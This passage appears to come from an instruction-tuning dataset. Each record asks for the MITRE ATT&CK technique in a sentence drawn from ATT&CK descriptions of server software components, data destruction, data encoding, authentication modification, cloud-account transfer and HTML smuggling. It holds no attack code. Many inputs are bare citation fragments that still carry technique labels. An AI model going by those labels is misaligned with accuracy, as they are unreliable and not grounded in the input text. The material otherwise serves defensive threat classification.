"output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation:", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NetSPI SQL Server CLR)", "output": "T1505.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NetSPI SQL Server CLR) ### Response: T1505.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW) ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky StoneDrill 2017)(Citation:", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky StoneDrill 2017)(Citation: ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Shamoon3 2018)(Citation:", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Shamoon3 2018)(Citation: ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Olympic Destroyer 2018)", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Olympic Destroyer 2018) ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology.", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation:", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Shamoon3 2018)", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Shamoon3 2018) ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky StoneDrill 2017)(Citation:", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky StoneDrill 2017)(Citation: ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Olympic Destroyer 2018).", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Olympic Destroyer 2018). ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider)", "output": "T1485", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider) ### Response: T1485."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may encode data to make the content of command and control traffic more difficult to detect.", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may encode data to make the content of command and control traffic more difficult to detect. ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) information can be encoded using a standard data encoding system.", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) information can be encoded using a standard data encoding system. ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some data encoding systems may also result in data compression, such as gzip.", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some data encoding systems may also result in data compression, such as gzip. ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect.", "output": "T1132.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. ### Response: T1132.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications.", "output": "T1132.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. ### Response: T1132.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)", "output": "T1132.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ### Response: T1132.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)).", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system.", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller).", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)", "output": "T1556.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton) ### Response: T1556.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.", "output": "T1537", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. ### Response: T1537."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider.", "output": "T1537", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. ### Response: T1537."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.", "output": "T1537", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces. ### Response: T1537."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)", "output": "T1537", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ### Response: T1537."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTML Smuggling Menlo Security 2020)(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTML Smuggling Menlo Security 2020)(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlflank HTML Smuggling 2018)", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlflank HTML Smuggling 2018) ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTML Smuggling Menlo Security 2020)(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTML Smuggling Menlo Security 2020)(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSTIC NOBELIUM May 